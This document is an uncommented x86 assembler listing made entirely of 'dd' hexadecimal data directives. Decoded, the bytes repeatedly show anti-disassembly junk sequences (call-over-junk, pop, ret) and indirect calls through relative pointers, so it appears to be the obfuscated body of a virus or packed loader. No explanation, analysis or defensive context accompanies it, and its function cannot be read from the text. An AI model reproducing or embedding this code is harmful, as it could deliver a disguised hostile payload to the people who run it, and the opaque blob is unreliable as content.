dd 81042444h, 15042444h, 40000000h, 0EF2EC350h, 85895A51h
dd 6032975h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 17h, 0F9C35040h, 807E178Dh, 85C646D6h, 6032F39h, 10E847h
dd 4BB00000h, 0EC02F2D7h, 85FEAB1h, 4303D88Ch, 8D8B2455h
dd 6032DB5h, 0B5F36859h, 9D0983D0h, 6032625h, 1359B5FFh
dd 6E90603h, 0EB000000h, 0AA096F40h, 0A7858D20h, 3060338h
dd 3120595h, 33D0FF06h, 3022DBDh, 0A4BA6606h, 2185890Ah
dd 0E9060326h, 0Ah, 0A165787Bh, 0D94C90EBh, 85C643CAh
dd 6032F39h, 53006A77h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1404h, 0C3534300h, 0BD89500Dh, 60309B5h, 0A8A3685Ah
dd 6AF397h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 0D5AED6C3h, 6B47B232h, 0B5FFCCB8h, 6032D11h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 9FC35646h
dd 60BA6019h, 8D30932Eh, 338A785h, 84BA6606h, 66D0FF1Ch
dd 8589CB8Bh, 6031285h, 85C68CB6h, 6032F39h, 5E847h, 3EDB0000h
dd 89A8461Bh, 311458Dh, 0F6685906h, 0B98728FAh, 456DE55Ah
dd 1359B5FFh, 0CE80603h, 78000000h, 84EBD571h, 6232A5F0h
dd 594570C6h, 38A7858Dh, 5E90603h, 3F000000h, 60047DEAh
dd 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
dd 53430000h, 0B9E827C3h, 0BA7AAC3h, 30698589h, 8B660603h
dd 3985C6FEh, 4306032Fh, 0B699589h, 0CF8B0603h, 8E6EFC68h
dd 29958BBCh, 0F9060329h, 1359B5FFh, 81660603h, 8D8C71D1h
dd 338A785h, 31950B06h, 0FF060332h, 9E8D0h, 92B10000h
dd 86AF4F71h, 8B5AF053h, 3104D95h, 85895906h, 6031155h
dd 1F658501h, 85C60603h, 6032F39h, 83E4B945h, 69684BCAh
dd 508E7269h, 6870Fh, 9D890000h, 60322B1h, 59B5FF5Ah, 60060313h
dd 6BBDBA66h, 5880Fh, 81660000h, 6101E5D9h, 1F118D8Bh
dd 858D0603h, 60338A7h, 0DCB864BAh, 6AD0FF30h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 0C184C356h, 0D9816688h, 85892130h, 60320F1h, 8076DA80h
dd 85C685E1h, 6032F39h, 6830F44h, 89000000h, 31AB9B5h
dd 0EC646806h, 958BB8F2h, 60321FDh, 1359B5FFh, 11E80603h
dd 78000000h, 0F74C069Ch, 0F133A71h, 0D1555E79h, 0B79A30E6h
dd 29E98166h, 858D5FE6h, 60338A7h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 15h, 0B6C35545h, 698501BBh, 8B060302h
dd 3097DBDh, 89D0FF06h, 3221D85h, 59D8906h, 89060301h
dd 303E185h, 0FB8B6606h, 2F3985C6h, 0F430603h, 8Bh, 4AA76800h
dd 0BA66C076h, 0BD89D763h, 6032285h, 1359B5FFh, 6A0603h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
dd 3FDBAFC3h, 0C99D8D4Fh, 0A7858DFCh, 0E8060338h, 14h
dd 0F3478A22h, 59AD0CBDh, 349D069Fh, 11FF97BDh, 864EE295h
dd 43AD75BAh, 0D0FF5966h, 895AF553h, 30AE185h, 5840F06h
dd 0BA000000h, 6DA39AB2h, 33D9D89h, 0BD800603h, 605FE7Bh
dd 0D5840F00h, 29000000h, 311419Dh, 5D858D06h, 890605FEh
dd 3069DB5h, 8B605006h, 32CD99Dh, 6188B106h, 4B1016Ah
dd 0BF0F006Ah, 6A006ACBh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1C042444h, 41000000h, 0CF08C351h, 5C6FEDEAh
dd 81647844h, 2AA1F3CAh, 5995FF4Dh, 6A06031Dh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
dd 0C102C355h, 0A298D8Bh, 85890603h, 6031341h, 398D2957h
dd 5A060329h, 810FFF6Ah, 6, 23A58D89h, 81660603h, 0FF694ADAh
dd 31341B5h, 6EEF8106h, 0FF79C6B0h, 3201595h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
dd 84B8F374h, 5B254D6Fh, 0F98B66CCh, 0BE9C08Bh, 0F0000000h
dd 717052A7h, 568E2D5Dh, 0BD836EBFh, 6031039h, 83097500h
dd 3111DBDh, 19740006h, 0C08B5350h, 7D1B8h, 75858900h
dd 8D060317h, 5B0919Dh, 5BD3FF06h, 1DBD8358h, 60311h, 53501774h
dd 7D1B8h, 75858900h, 8D060317h, 5AD809Dh, 5BD3FF06h, 57006A58h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
dd 0BD858931h, 66060313h, 8BB3EDBFh
dd 0E6EF81C0h, 0C646A346h, 32F3985h, 6A4706h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 190424h, 56460000h, 0AC40B2C3h
dd 0E9A13104h, 5, 2941C635h, 0F7C168E9h, 0AE993C8h, 0BF000000h
dd 96202857h, 96DA68D0h, 59B5FF8Ah, 66060313h, 2A5DEA81h
dd 38A7858Dh, 0BA660603h, 0D0FF2C50h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ch, 62C35141h, 638C019Ah, 82716FF8h
dd 0F50D38Ah, 583h, 0E1816600h, 858DF467h, 606029Eh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 1C35545h, 85200DBBh
dd 6620ED15h, 0D714D781h, 5E9h, 63CE4800h, 0C78182h, 94h
dd 10E8h, 58353A00h, 8883B083h, 0B2D23303h, 0AD6ED727h
dd 0E99D8993h, 5A060311h, 5DBD8958h, 106031Eh, 3002985h
dd 9EB58D06h, 6A060602h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1C042444h, 47000000h, 0D6CAC357h, 44E34262h
dd 2BC61E91h, 30CC18Dh, 66515606h, 3EA6CA81h, 8BD0FF59h
dd 31C41BDh, 9E858D06h, 83060602h, 0F060478h, 1685h, 0E9952900h
dd 0C7060303h, 6033285h, 106h, 0C98D8B00h, 83060322h, 31E65BDh
dd 850F0006h, 5Dh, 17C58D8Bh, 0BD830603h, 6060332h, 4A850F00h
dd 1000000h, 312EDBDh, 7DBD8306h, 6032Ch, 37840Fh, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
dd 8C565DC3h, 820Fh, 85C70000h, 6031BB1h, 0
dd 2CF1BD8Bh, 0F6800603h, 0DB8C66C3h, 12E8h, 2FB9C600h
dd 0D52D213h, 99FB4ED1h, 0B4E1BDC6h, 8B5BB830h, 310B5BDh
dd 0C3F65906h, 4A840F04h, 31000005h, 31725BDh, 0C75F5606h
dd 31E9185h, 6, 13E900h, 17A0000h, 0E17BEC6Ch, 831E448Ah
dd 2A1E4DDEh, 1793820h, 88BD80F1h, 605FEh, 4850Fh, 8A500000h
dd 85C659D5h, 6032F39h, 0EE947h, 68470000h, 0D5BCA9EBh
dd 606CD588h, 12825A15h, 0E45B8668h, 0FFCF8BE3h, 31359B5h
dd 0D1852906h, 8D060321h, 338A785h, 55DF8106h, 0E93F4667h
dd 0Bh, 16058BCh, 4582BF1Ah, 0FF7D8456h, 8E8D0h, 0AA420000h
dd 0B28C7AABh, 8D8B3211h, 6032C45h, 104685Ah, 95290000h
dd 603287Dh, 27059D8Dh, 0CA810603h, 2BC3E920h, 0D0FFF553h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0BBC35646h
dd 0E18166DFh, 858D6DE4h, 6032705h, 5E9h, 3C01AA00h, 8B504602h
dd 30FCD95h, 3A858D06h, 660605FEh, 0BFE07ABAh, 72190AB0h
dd 0BD78B50h, 317C595h, 0D858D06h, 600605F5h, 26F5B58Bh
dd 0BD8B0603h, 6032C79h, 6A5061h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1D0424h, 52420000h, 845CAFC3h, 0D124E793h
dd 2B272987h, 3285195h, 8595FF06h, 6A060312h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
dd 0B6FC357h, 38673E8Fh, 11E960D6h, 0A5000000h, 31CA7726h
dd 9C24848Fh, 4FF5A9F2h, 701C03E3h, 0ACDBD8Bh, 83610603h
dd 6A0CC4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
dd 52420000h, 668C76C3h, 0E724C981h, 5E9h, 66A36B00h, 6A53FCh
dd 8068h, 6A036A00h, 68006A00h, 80000000h, 0F50D858Dh
dd 0FF500605h, 3115595h, 1D858906h, 0C60605FEh, 32F3985h
dd 87684706h, 0FFC7B15Eh, 31359B5h, 0A7858D06h, 0FF060338h
dd 0FF006AD0h, 5FE1DB5h, 0B5D0FF06h, 6830F87h, 8B000000h
dd 30B7D95h, 9D8B6006h, 6032339h, 2C798D89h, 3D610603h
dd 37D0h, 53830Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 180424h, 56460000h, 5C8F99C3h, 0B5FFCC64h
dd 605FE1Dh, 0BE8h, 324E9600h, 2A29D05Dh, 72FCF771h, 87AC5ABFh
dd 95FF5F35h, 6030AE1h, 17A98D8Bh, 0C1E90603h, 81000000h
dd 239258F1h, 1DB5FF42h, 0BA0605FEh, 273427CBh, 0AE195FFh
dd 6A0603h, 11E9h, 2865B900h, 0AB744A3Eh, 0F025605Ch, 0E162EF1Ch
dd 958B4173h, 6032C81h, 0B589006Ah, 60303A9h, 6ACBB70Fh
dd 0A2F5B900h, 6A18FEh, 6AFE8Bh, 0C22EA0BFh, 8D006A4Ah
dd 5FE2185h, 0D08B6606h, 50006A50h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1D04h, 0C3504000h, 0C9B8DE74h, 7B578847h
dd 95093562h, 60311A1h, 29E1BD8Bh, 95FF0603h, 6031155h
dd 172D958Bh, 0F8830603h, 4A850FFFh, 0E8000001h, 11h, 43F15CEAh
dd 33474AC3h, 46248676h, 541493A3h, 2DBD899Eh, 5906031Eh
dd 0B9AD858Dh, 80600605h, 890FB9C5h, 6, 318DBD8Bh, 0FF610603h
dd 0CE9D0h, 4AB20000h, 43A1CD50h, 42AB9233h, 6AB512h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0A2C35141h, 13059908h
dd 6A0740h, 1D7D8D8Bh, 6A0603h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Bh, 0B8C35141h, 0DEE47CCAh, 8B95E868h
dd 32E45BDh, 29006A06h, 300218Dh, 0E8006A06h, 9, 3A0B7CBFh
dd 97B82C15h, 0C174B910h, 8B5A1E4Bh, 30CC5BDh, 89006A06h
dd 3283D95h, 21858D06h, 8B0605FEh, 3227995h, 0B1F78106h
dd 504178FBh, 8594D181h, 95FF77D4h, 6031155h, 223D8509h
dd 0F8830603h, 52850FFFh, 0F000000h, 0B58DC8B7h, 605F829h
dd 0AE860h, 0BFC10000h, 6DAB73E3h, 0BF54C3B5h, 25399589h
dd 0B0580603h, 858D6103h, 605A3C3h, 2969B589h, 0D0FF0603h
dd 6ACFBF0Fh, 0F2816600h, 8D8B4B96h, 6031F6Dh, 20F195FFh
dd 6E90603h, 6F000000h, 0B73E5FB0h, 1D8589BAh, 6A0605FEh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h
dd 40000000h, 289EC350h, 5DDBD8Bh, 6A0603h, 1321BD8Bh
dd 858D0603h, 605FE15h, 25419589h, 8B500603h, 30F8DBDh
dd 89046A06h, 3010D8Dh, 48D0F06h, 56000000h, 8D59D68Bh
dd 32F0585h, 58D8906h, 0F06032Ch, 6650CABFh, 35ADA81h
dd 8589006Ah, 6033065h, 958B006Ah, 6030AC5h, 6AD78B66h
dd 0B58D2901h, 0FF06032Eh, 5FE1DB5h, 0FE906h, 56D50000h
dd 1A54A054h, 921D6F94h, 825F24E5h, 0BD8D09A5h, 0FF060322h
dd 303E195h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1C04h, 0C3514100h, 5D324E96h, 712A29D0h, 45958BF7h
dd 0E9060326h, 1B22h, 38B0Fh, 8B660000h, 83C08BD0h, 31039BDh
dd 9750006h, 111DBD83h, 74000603h, 8B535019h, 7D2B8C0h
dd 85890000h, 6031775h, 0B0919D8Dh, 0D3FF0605h, 0BD83585Bh
dd 603111Dh, 50177400h, 7D2B853h, 85890000h, 6031775h
dd 0AD809D8Dh, 0D3FF0605h, 0B70F585Bh, 55006AD7h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 4E94DB36h, 0FE20BF80h, 0D9813B73h, 52743B14h, 0F181C08Bh
dd 44E2B547h, 9DD18166h, 9185C7E2h, 106031Eh, 53000000h
dd 38C0Fh, 0ED800000h, 0B86859B0h, 0FFCEE4E7h, 30175B5h
dd 0A7858D06h, 0FF060338h, 0D8589D0h, 68060306h, 0C005DBD4h
dd 175B5FFh, 858D0603h, 60338A7h, 8589D0FFh, 6031A4Dh
dd 0F2C6858Dh, 0FF500605h, 31359B5h, 7595FF06h, 0B060329h
dd 8B0B74C0h, 79858DD8h, 50060602h, 858DD3FFh, 6060279h
dd 9388366h, 85C70A75h, 6032831h, 1, 306995FFh, 0FF250603h
dd 83000000h, 0A7305F8h, 35D85C7h, 10603h, 8F0F0000h, 3
dd 66C88B66h, 807F40B9h, 5FE88BDh, 850F0006h, 2Dh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0D0C35747h, 0BBE9B200h
dd 0E9000019h, 5, 879C075Ch, 31BD830Ah, 60328h, 0B7850Fh
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
dd 56460000h, 0E6B0DC3h, 41B95016h, 68B145DAh, 0FE52858Dh
dd 8D2B0605h, 60312E1h, 0FE12BF50h, 16A747Ch, 40D8D31h
dd 6A0603h, 2E618D01h, 6A0603h, 95FFB7B5h, 6031D59h, 1EFD8D89h
dd 85890603h, 605FE7Ch, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 18h, 0E0C35141h, 53678D6h, 6AE8BA66h, 0FE8FF6Ah
dd 0AD000000h, 3E8B2167h, 0B09BFACBh, 3DBCD1EBh, 9D29F99Dh
dd 60322A1h, 7CB5FF5Ah, 90605FEh, 3208585h, 1595FF06h
dd 89060320h, 30385BDh, 8D858D06h, 0F0605F2h, 8B50D6B7h
dd 995FFD7h, 0E906031Bh, 8, 69491559h, 0C14D5359h, 0F3178589h
dd 6A0605h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
dd 50400000h, 4F67DBC3h, 0AF631145h, 0D7DD80CAh, 0F29A858Dh
dd 6A0605h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 595E95C3h, 9ACE812Ah, 0CE8B50E5h, 0B5FFFA8Bh, 605F317h
dd 14E8h, 0B78AF200h, 0A7759866h, 0F0E03841h, 3B755481h
dd 0DFC5A320h, 88ED804Bh, 7595FF59h, 6A060329h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
dd 9AB1C356h, 0F83472FEh, 898B6C26h, 3249595h, 79958B06h
dd 8906031Bh, 309C985h, 958BFC06h, 603205Dh, 0F308858Dh
dd 0C6800605h, 816650A8h, 0FF7883E2h, 5F317B5h, 0D8D8906h
dd 0FF060328h, 3297595h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1A04h, 0C3514100h, 0A7499BB9h, 8930ED25h
dd 5F32B85h, 0D1B50906h, 8D06031Bh, 5F2E785h, 358D8906h
dd 5006031Bh, 0F317B5FFh, 0BD8B0605h, 6032511h, 297595FFh
dd 85890603h, 6030A95h, 0F3238589h, 81660605h, 8D76B8DFh
dd 5F2DA85h, 5066B506h, 1E959529h, 0B5FF0603h, 605F317h
dd 0A54ACA81h, 95FF03D3h, 6032975h, 0D3E78166h, 27858910h
dd 8B0605F3h, 30C1195h, 0F5858D06h, 0F0605F2h, 8B50D1BFh
dd 32AB1BDh, 17B5FF06h, 290605F3h, 31BF59Dh, 7595FF06h
dd 89060329h, 311CDBDh, 0ED858906h, 6A060322h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
dd 0DAD2C351h, 0B8600468h, 41E2386Bh, 69BD8B61h, 8D060332h
dd 5F2A985h, 85958906h, 50060313h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 19h, 0AFC35141h, 683ED6BEh, 0A8B0F48h
dd 60000000h, 31D9B589h, 0C38B0603h, 17B5FF61h, 6A0605F3h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h
dd 45000000h, 0F8AAC355h, 0D19653CCh, 11C11FA1h, 95FFF5F9h
dd 6032975h, 1B8589FCh, 6A0605F3h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8DD3C356h
dd 5F2B885h, 15858906h, 5006030Ch, 14118D8Bh, 0E1810603h
dd 1C7EA95Eh, 0F317B5FFh, 958B0605h, 6032381h, 297595FFh
dd 850F0603h, 12h, 0DE9h, 31EB5000h, 0B3BC5FFEh, 86EB1F2Bh
dd 8589C487h, 605F31Fh, 26F59D89h, 4680603h, 52000001h
dd 0AF858D5Fh, 0FC0605F3h, 6A50C0B1h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8953C356h
dd 302B99Dh, 0B3858D06h, 0F50605F4h, 2DBD8589h, 89500603h
dd 3311995h, 2195FF06h, 0F060326h, 880h, 85895100h, 6031451h
dd 0FC08559h, 685h, 318D8B00h, 8006031Fh, 5FE88BDh, 850F0006h
dd 11h, 3269BD31h, 9FE90603h, 89000015h, 325419Dh, 31BD8306h
dd 60328h, 19850Fh, 810F0000h, 0
dd 332BD83h, 0F000606h, 6784h, 18D0900h, 8D06030Dh, 5F34C85h
dd 0AE906h, 2C70000h, 8AA1622Fh, 0C9628704h, 1559E9h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 6E849h, 0A7AC0000h, 0EF4114AEh, 0EE8h, 0E5F9E500h, 1DB34E19h
dd 4B94C68Eh, 80779D1Bh, 5F5F24C2h, 0FE9h, 0C9BF0F00h
dd 0F337858Dh, 0BD8B0605h, 6030151h, 52006A50h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 950941CFh
dd 603115Dh, 11E957h, 0B80F0000h, 0B418A160h, 0F4615F19h
dd 0ED60E2Bh, 591D649Bh, 0F3AF858Dh, 10E90605h, 65000000h
dd 0C9D66382h, 93D529E5h, 5F95EC66h, 503E2D8Dh, 7CFBA66h
dd 2831BD83h, 0F000603h, 3F84h, 0D5858D00h, 290605F4h
dd 329DD8Dh, 4CE906h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1B0424h, 51410000h, 0DE1126C3h, 0B8A9DF33h
dd 6E9EAh, 5DA70000h, 0C36FDAB3h, 0F4BE858Dh, 0E9500605h
dd 11h, 0C3479A20h, 5B2D98AEh, 0B14B5A74h, 656A048Fh, 89505F9Bh
dd 304D585h, 0D858D06h, 6A0605F5h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 15042444h, 40000000h, 4583C350h
dd 5CC2C981h, 0F506B23h, 8D03CFB7h, 6030349h, 128595FFh
dd 830F0603h, 6, 9FD8D8Bh, 860F0603h, 0Dh, 0ED858960h
dd 66060301h, 185AD081h, 10C48361h, 2DEDBD29h, 0C08B0603h
dd 38B0Fh, 8B660000h, 39BD83CFh, 60310h, 0BD830975h, 603111Dh
dd 50197400h, 0B8C08B53h, 7D3h, 17758589h, 9D8D0603h, 605B091h
dd 585BD3FFh, 111DBD83h, 74000603h, 0B8535017h, 7D3h, 17758589h
dd 9D8D0603h, 605AD80h, 585BD3FFh, 1002D281h, 6A044Eh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 8589BBC3h, 6032CF1h, 870FC08Bh, 13h, 0EE9h, 413F4D00h
dd 0F1EB9060h, 92E761B0h, 812F7D17h, 5F337BDh, 65726F06h
dd 86840F61h, 0B1000000h, 0AF858DA6h, 500605F3h, 0F4EC858Dh
dd 8D500605h, 5F50D85h, 95FF5006h, 6031285h, 0C60CC483h
dd 32F3985h, 4F684406h, 0FF96A318h, 31359B5h, 0A7858D06h
dd 0FF060338h, 8DD88BD0h, 5F50D85h, 0D3FF5006h, 0F337858Dh
dd 8D500605h, 5F3AF85h, 0BD835006h, 6032831h, 8D087400h
dd 5F4D585h, 8D06EB06h, 5F4BE85h, 858D5006h, 605F50Dh
dd 8595FF50h, 83060312h, 0BF5210C4h, 445AAA4Eh, 0D7BF0F5Fh
dd 6995FFFCh, 6A060330h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1D042444h, 40000000h, 17CBC350h, 0FB93D83Ch
dd 49D10E6Ch, 9E9h, 0FF369200h, 0EE603FA6h, 0FF254696h
dd 0F000000h, 685h, 2D953300h, 83060301h, 830F05F8h, 33h
dd 68F0Fh, 95010000h, 6032939h, 35D85C7h, 10603h, 95890000h
dd 6032285h, 0F36B858Dh, 95890605h, 6032B15h, 5AE9h, 2BC78100h
dd 832A8777h, 32831BDh, 840F0006h, 23h, 1CC58D8Bh, 858D0603h
dd 605F396h, 12D58D09h, 8D8B0603h, 6031BF9h, 2AE9h, 25BD8B00h
dd 8D06032Ch, 5F37885h, 13E806h, 79E70000h, 0F0A31DC6h
dd 0CCAA8D8Ah, 0C9E4CD65h, 0E1C10FCBh, 0D9816690h, 895FD0A8h
dd 5F3AB85h, 5DBD8B06h, 83060312h, 32831BDh, 850F0006h
dd 1Eh, 90C28166h, 32BD8303h, 60603h, 17840Fh, 958B0000h
dd 6030F0Dh, 289DBD8Bh, 93E90603h, 81000011h, 0DFE853F7h
dd 44FE902h, 8D290000h, 6030331h, 6AC08Bh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 190424h, 56460000h, 0A1999CC3h
dd 830178D7h, 31039BDh, 9750006h, 111DBD83h, 74000603h
dd 8B535019h, 7D4B8C0h, 85890000h, 6031775h, 0B0919D8Dh
dd 0D3FF0605h, 0BD83585Bh, 603111Dh, 50177400h, 7D4B853h
dd 85890000h, 6031775h, 0AD809D8Dh, 0D3FF0605h, 6A585Bh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
dd 5DDE53C3h, 15B199E4h, 5C01F181h, 7E921F6h, 6A000000h
dd 3AD7E3C3h, 5EBAFA39h, 8B1A91D8h, 0F6B966C0h, 3F6831h
dd 9531000Fh, 6030AD9h, 15BA006Ah, 6A6B16B7h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 0FE1F18C2h, 8BE4D73Dh, 0FFBADA80h, 309C995h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 0CA3677B2h, 339D7F8Ah, 13E8C4h, 0BAC00000h, 846B33AAh
dd 0ABA67370h, 472E3996h, 0DD9E997h, 3D858946h, 5F060314h
dd 850FC085h, 4, 1147BF66h, 0F32F8589h, 810F0605h, 0Dh
dd 39BD8B60h, 0BA06031Ch, 4E7F6F31h, 0E8006A61h, 0Bh, 5E263AA2h
dd 0E598B664h, 8BB4D0B2h, 3011D8Dh, 6A5A06h, 1C81BD8Bh
dd 81510603h, 26305DC1h, 6A5A01h, 0E9006AFCh, 0Ch, 16F08B8h
dd 0C65BA70Fh, 6612ED9Fh, 8B60006Ah, 30AD195h, 959D8906h
dd 6106030Fh, 26498D8Bh, 858D0603h, 605F50Dh, 20A5BD01h
dd 6A500603h, 53006A01h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1704h, 0C3534300h, 0F1539D5Fh, 3CB9016Ah, 6A2D78F9h
dd 5E901h, 75220000h, 68A38339h, 0F01FFh, 91B58960h, 0E9060317h
dd 12h, 0CCBE655Fh, 0BAB54AD9h, 5EA2C24Dh, 9ADFC48h, 83617378h
dd 32831BDh, 840F0006h, 4Eh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ah, 0A4C35747h, 285BC109h, 8E0F4444h
dd 0
dd 8C858DFCh, 8B0605F3h, 0C820FCFh, 0F000000h, 68Ch, 0F9952900h
dd 0E9060310h, 12h, 299958Bh, 858D0603h, 605F362h, 201DBD8Bh
dd 0E8500603h, 12h, 83AE9C60h, 0D29258AEh, 1AEFE4BBh, 7F1C609Dh
dd 0B589B87Fh, 6032A95h, 8D8B505Fh, 60324A1h, 0F32FB5FFh
dd 0BA660605h, 95FF94EEh, 605F31Bh, 38F0Fh, 0B70F0000h
dd 0FC085D3h, 0E85h, 64E18100h, 0E96AE820h, 50h, 89D68B66h
dd 5F33385h, 8FBA6606h, 33B5FF39h, 890605F3h, 32BBD95h
dd 0ED95FF06h, 60060322h, 0DE9h, 32BAF800h, 0CA64B211h
dd 0DD788360h, 0AE9767Fh, 0C5000000h, 7B4A7FC1h, 74E1FD97h
dd 0C0856198h, 6850Fh, 8D8B0000h, 6032D81h, 92B5106Ah
dd 2831BD83h, 0F000603h, 1A84h, 0BD8B5700h, 60303ADh, 8C858D5Fh
dd 0F50605F3h, 15E9h, 7D8D8B00h, 8D060310h, 5F36285h, 0B58D8906h
dd 0F06031Bh, 6A50CFB7h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 14042444h, 45000000h, 0F1EC355h, 58Dh, 0B34AB900h
dd 81660574h, 0FF5349C2h, 5F32FB5h, 0F58D0B06h, 0FF060312h
dd 5F32795h, 0CCD28106h, 8529BCB0h, 13850FC0h, 8B000000h
dd 30F31BDh, 0BD8B6006h, 6031BD9h, 54C38166h, 858961BBh
dd 605F333h, 2E5DBD8Bh, 6A0603h, 345BD0Bh, 6A0603h, 0B850Fh
dd 800F0000h, 5, 0C4FE68BFh, 33B5FF44h, 0F80605F3h, 0F31F95FFh
dd 860F0605h, 6, 224D8D03h, 0C0850603h, 3850Fh, 8B660000h
dd 33B5FFFAh, 10605F3h, 305A5BDh, 5E906h, 0F7080000h, 0FFC168BDh
dd 322ED95h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1C04h, 0C3514100h, 27B00790h, 34F1A7E5h, 0FC08571h
dd 485h, 5FBF6600h, 81006ACFh, 0C76B17D2h, 80683Fh, 0BD090000h
dd 6030361h, 6A036Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 170424h, 53430000h, 0A7380EC3h, 518D09AAh, 6A060328h
dd 10E900h, 73340000h, 33C872AAh, 47FD3581h, 0B686683Ch
dd 6A7D9Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 18h, 7CC35747h, 0C7BE2E7Eh, 11E8EB8Ah, 1F000000h, 8D00B162h
dd 9669DC38h, 0F4B9FD9Fh, 897A56E3h, 30458D0Bh, 605F0603h
dd 11E98D0Bh, 0B3B20603h, 6861h, 0DE9C000h, 0FE000000h
dd 0AF7E5FF0h, 5BFF01BFh, 743141FEh, 0AE9h, 8B2D4800h
dd 7350B09Ah, 0FF345F86h, 5F3ABB5h, 95FFF806h, 6031155h
dd 2059529h, 0F8830603h, 96850FFFh, 3000005h, 30459BDh
dd 1985FF06h, 310605FEh, 321B985h, 19BD8306h, 20605FEh
dd 4A3840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1D0424h, 53430000h, 90BA66C3h, 4A2F3AE5h, 0F38D80Bh
dd 48Ch, 0C0B96600h, 9F858DADh, 89005AF5h, 3304D8Dh, 0B18D8B06h
dd 0FF060302h, 858DF8D0h, 5AEFF2h, 559D2B60h, 0B1060331h
dd 0D0FF61D2h, 8BFB8B66h, 50006AC0h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1404h, 0C3504000h, 0BD83FCF4h
dd 6031039h, 83097500h, 3111DBDh, 19740006h, 0C08B5350h
dd 7D8B8h, 75858900h, 8D060317h, 5B0919Dh, 5BD3FF06h, 1DBD8358h
dd 60311h, 53501774h, 7D8B8h, 75858900h, 8D060317h, 5AD809Dh
dd 5BD3FF06h, 8529F858h, 6030ADDh, 9531C08Bh, 6030395h
dd 23018589h, 3F680603h, 89000F00h, 31E8D85h, 14E806h
dd 0D0660000h, 0F5FC7D8h, 0C5ACAF15h, 3D6D0382h, 0E824A004h
dd 8166A571h, 5F7714E9h, 8B66006Ah, 6A006AF9h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
dd 0BF84C357h, 6000DE4Ch, 0CE9h, 0F0232B00h, 2AAC7E0Ah
dd 6F853206h, 0E99D8904h, 61060310h, 9C995FFh, 89600603h
dd 32A59B5h, 5E906h, 875C0000h, 615F134Ah, 0F60C085h, 1382h
dd 0EE900h, 97B50000h, 0DBCF5F87h, 875E5B1Fh, 74CF122Ch
dd 1CAD8D8Bh, 89610603h, 5F32F85h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 80E9FC24h
dd 12CF81E4h, 6879AC27h, 0F01FFh, 83D6BF0Fh, 32831BDh
